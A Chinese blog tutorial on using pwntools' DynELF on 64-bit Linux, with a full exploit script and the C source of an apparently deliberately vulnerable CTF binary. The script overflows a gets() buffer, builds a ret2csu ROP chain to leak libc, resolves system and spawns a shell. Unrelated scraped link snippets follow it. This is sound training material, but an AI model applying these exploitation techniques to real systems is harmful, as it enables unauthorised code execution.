64位下pwntools中dynELF函数的使用

这几天有同学问我在64位下怎么用这个函数,于是针对同一道题写了个利用dynELF的方法

编译好的程序 http://pan.baidu.com/s/1jImF95O

源码在后面

from pwn import *

elf = ELF(‘./pwn_final‘)

got_write = elf.got[‘write‘]
print ‘got_write= ‘ + hex(got_write)
call_get_name_func = 0x400966
print ‘call_get_name_func= ‘ + hex(call_get_name_func)
got_read = elf.got[‘read‘]
print "got_read: " + hex(got_read)

bss_addr = 0x6020c0

pad = ‘a‘

p = process(‘./pwn_final‘)
gdb.attach(p)

#get system address
def leak(address):
    p.recvuntil(‘please enter your name:‘)
    payload1 = pad * 56
    payload1 += p64(0x400d9a)+ p64(0) + p64(1) + p64(got_write) + p64(128) + p64(address) + p64(1) + p64(0x400d80)
    payload1 += "\x00"*56
    payload1 += p64(call_get_name_func)
    p.sendline(payload1)
    data = p.recv(128)
    print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘))
    return data

d = DynELF(leak, elf=ELF(‘./pwn_final‘))

system_addr = d.lookup(‘system‘, ‘libc‘)
print "system_addr=" + hex(system_addr)

#write system && /bin/sh
payload2 = "a"*56
payload2 += p64(0x400d96)+ p64(0) +p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400d80)
payload2 += "\x00"*56
payload2 += p64(call_get_name_func)
p.sendline(payload2)

p.send(p64(system_addr))
p.send("/bin/sh\0")

p.recvuntil(‘name:‘)

# call system
payload3 = "a"*56
payload3 += p64(0x400d96)+ p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400d80)
payload3 += "\x00"*56
payload3 += p64(call_get_name_func)
p.sendline(payload3)

p.interactive()

源码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void print_menu();
void get_name();
void add_paper();
void delete_paper();
void show_paper();
int get_num();
void get_input(char *buffer, int size, int no_should_fill_full);
void gg();

char *link_list[10];

int main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
    int choice;
    get_name();
    while (1){
        print_menu();
        choice = get_num();
        switch (choice){
            case 1:
                add_paper();
                break;
            case 2:
                delete_paper();
                break;
            case 3:
                show_paper();
                break;
            default:
                return;
        }
    }
    printf("thank you!");
}

int get_num()
{
    int result;
    char input[48];
    char *end_ptr;

    get_input(input, 48, 1);
    result = strtol(input, &end_ptr, 0);
    if (input == end_ptr){
        printf("%s input is not start with number!\n", input);
        result = get_num();
    }
    return result;
}

void get_input(char *buffer, int size, int no_should_fill_full)
{
    int index = 0;
    char *current_location;
    int current_input_size;
    while (1){
        current_location = buffer+index;
        current_input_size = fread(buffer+index, 1, 1, stdin);
        if (current_input_size <= 0)
            break;
        if (*current_location == ‘\n‘ && no_should_fill_full){
            if (index){
                *current_location = 0;
                return;
            }
        }else{
            index++;
            if (index >= size)
                break;
        }
    }
}

void get_name()
{
    char name[40];
    printf("please enter your name:");
    gets(name);
}

void print_menu()
{
    puts("Welcome to use the improved paper management system!");
    puts("1 add paper");
    puts("2 delete paper");
    puts("3 show paper");
}

void show_paper()
{
    int index;
    int length;
    printf("Input the index of the paper you want to show(0-9):");
    scanf("%d", &index);
    if (index < 0 || index > 9)
        exit(1);
    printf("How long you will enter:");
    scanf("%d", &length);
    if (length < 0 || length > 2048)
        exit(1);
    write(stdout, link_list[index], length);
}

void add_paper()
{
    int index;
    int length;
    printf("Input the index you want to store(0-9):");
    scanf("%d", &index);
    if (index < 0 || index > 9)
        exit(1);
    printf("How long you will enter:");
    scanf("%d", &length);
    if (length < 0 || length > 2048)
        exit(1);
    link_list[index] = malloc(length);
    if (link_list[index] == NULL)
        exit(1);
    printf("please enter your content:");
    gets(link_list[index]);
    printf("add success!\n");
}

void delete_paper()
{
    int index;
    printf("which paper you want to delete,please enter it‘s index(0-9):");
    scanf("%d", &index);
    if (index < 0 || index > 9)
        exit(1);
    free(link_list[index]);
    puts("delete success !");
}

void gg()
{
    char name[40];
    read(stdin, name, 40);
}
时间: 2024-10-01 04:32:30

64位下pwntools中dynELF函数的使用的相关文章

2 pygraphviz在windows10 64位下的安装问题(反斜杠的血案)

可以负责任的说,这篇文档是windows10安装pygraphviz中,在中文技术网站中最新的文档,没有之一.是自己完全结合各种问题,包括调试等,总结出来的. 问题来源:主要是可视化RvNN网络的树结构. pygraphviz安装时,我参考了博文http://www.myexception.cn/perl-python/2046792.html.但是,文章的解决方案已经失效. 已有博文存在的问题:windows下pygraphviz?1.3.1?cp34?none?win_amd64.whl文件

64位下的InlineHook

目录 x64下手工HOOK的方法 一丶HOOK的几种方法之远跳 1. 远跳 不影响寄存器 + 15字节方法 2.远跳 影响寄存器 + 12字节方法 3.影响寄存器,恢复寄存器 进行跳转. 4. 常用 jmp + rip方式跳转 大小6个字节 二丶Call的几种方式. 1. CALL PUSH + RET 方式 2.正常call x64下手工HOOK的方法 关于64位程序.网上HOOK方法一大堆.这里也记录一下. 了解跨平台HOOK的真相与本质. 一丶HOOK的几种方法之远跳 1. 远跳 不影响寄

centOS 64位下编译hadoop2.4.1

1. 安装JDK a.      解压jdk [[email protected] software]$ tar -xvzf jdk-7u60-linux-x64.tar.gz b.      设置环境变量 PATH=$PATH:$HOME/bin export JAVA_HOME=/home/bigdata001/BigDataPlatform/jdk1.7.0_60 export JAVA_BIN=$JAVA_HOME/bin export CLASSPATH=.:$JAVA_HOME/li

win7 64位下如何安装配置mysql-5.7.4-m14-winx64

win7 64位下如何安装配置mysql-5.7.4-m14-winx641. mysql-5.7.4-m14-winx64.zip下载 官方网站下载地址:http://dev.mysql.com/get/Downloads/MySQL-5.6/mysql-5.6.17-winx64.zip 2.解压到D:\mysql.(路径自己指定)3.在D:\mysql\mysql-5.7.4-m14-winx64下新建my.ini配置文件 内容如下: ####################配置文件开始#

@清晰掉 各种类型32位与64位下各类型长度对比

64 位的优点:64 位的应用程序可以直接访问 4EB 的内存和文件大小最大达到4 EB(2 的 63 次幂):可以访问大型数据库.本文介绍的是64位下C语言开发程序注意事项. 1. 32 位和 64 位C数据类型 32和64位C语言内置数据类型,如下表所示: 上表中第一行的大写字母和数字含义如下所示:I表示:int类型L表示:long类型P表示:pointer指针类型32表示:32位系统64表示64位系统如:LP64表示,在64位系统下的long类型和pointer类型长度为64位.64位Li

64位Windows操作系统中的注册表

x64系统上有x64.x86两种注册表,记录下. 64 位Windows系统中的注册表分为 32 位注册表项和 64 位注册表项,许多 32 位注册表项与其相应的 64 位注册表项同名. 在64位版本系统的注册表编辑器中,32 位注册表项显示在以下注册表项下: HKEY_LOCAL_MACHINE\Software\WOW6432Node 使用默认的 64 位版本注册表编辑器%systemroot%\Syswow64\regedt.exe,可以查看或编辑 64 位和 32 位的注册表项和项值.

32位和64位下结构体内存对齐问题

1.先看64位下: #include<stdio.h> struct A { int a; char b; double c; char d; }; struct B { char a; double b; char c; }; int main() { printf("int =%lu,char=%lu,double=%lu\n",sizeof(int),sizeof(char),sizeof(double)); printf("structA=%lu stru

win7 64位下安装hadoop的eclipse插件并编写运行WordCount程序

win7 64位下安装hadoop的eclipse插件并编写运行WordCount程序 环境: win7 64位 hadoop-2.6.0 步骤: 1.下载hadoop-eclipse-plugin-2.6.0.jar包 2.把hadoop-eclipse-plugin-2.6.0.jar放到eclipse安装目录下的plugins目录下 3.打开eclipse发现左边多出来一个DFS Locations 4.在win7上解压hadoop-2.6.0. 5.下载hadoop.dll.winuti

windows7 64位下配置mysql64位免安装版

windows 7 64位下配置mysql64位免安装版 文章分类:数据库 1.下载http://pan.baidu.com/s/1jGf5nUI 2.解压到D:\MySQL(路径自己指定) 文件夹不要带中文,最好改成Mysql 3.在D:\MySQL下将my-default.ini改成my.ini配置文件并将内容改成,如下: *****************配置文件开始********************* # MySQL Server Instance Configuration Fi